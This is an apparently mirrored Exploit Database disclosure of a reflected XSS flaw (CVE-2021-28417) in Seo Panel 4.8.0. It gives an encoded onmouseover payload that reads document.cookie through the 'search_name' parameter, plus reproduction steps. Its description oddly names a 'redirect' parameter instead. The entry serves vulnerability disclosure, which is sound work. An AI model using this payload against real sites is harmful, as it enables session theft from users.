Seo Panel 4.8.0 – ‘search_name’ Reflected XSS

• Exploit Database
• 109 阅读

• 作者： Piyush Patil
  日期： 2021-06-02
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49931/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22

  # Exploit Title: Seo Panel 4.8.0 - 'search_name' Reflected XSS # Date: 21-03-2021 # Exploit Author: Piyush Patil # Vendor Homepage: https://www.seopanel.org/ # Software Link:https://github.com/seopanel/Seo-Panel/releases/tag/4.8.0 # Version: Seo Panel 4.8.0 # Tested on: Windows 10 and Kali # CVE : CVE-2021-28417     -Description: A cross-site scripting (XSS) issue in the SEO admin login panel version 4.8.0 allows remote attackers to inject JavaScript via the "redirect" parameter.   -Payload used: x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22   -Steps to reproduce: 1- Login to SEO admin panel 2- Add below line at the end: http://localhost/archive.php?from_time=2021-03-08&order_col=name&order_val=DESC&report_type=website-search-reports&search_name=x%22%20onmouseover%3dalert(document.cookie)%20x%3d%22&sec=viewWebsiteSearchSummary&to_time=2021-03-09&website_id=http%3a%2f%2fwww.example.com 3- Hover your mouse near to "CTR" field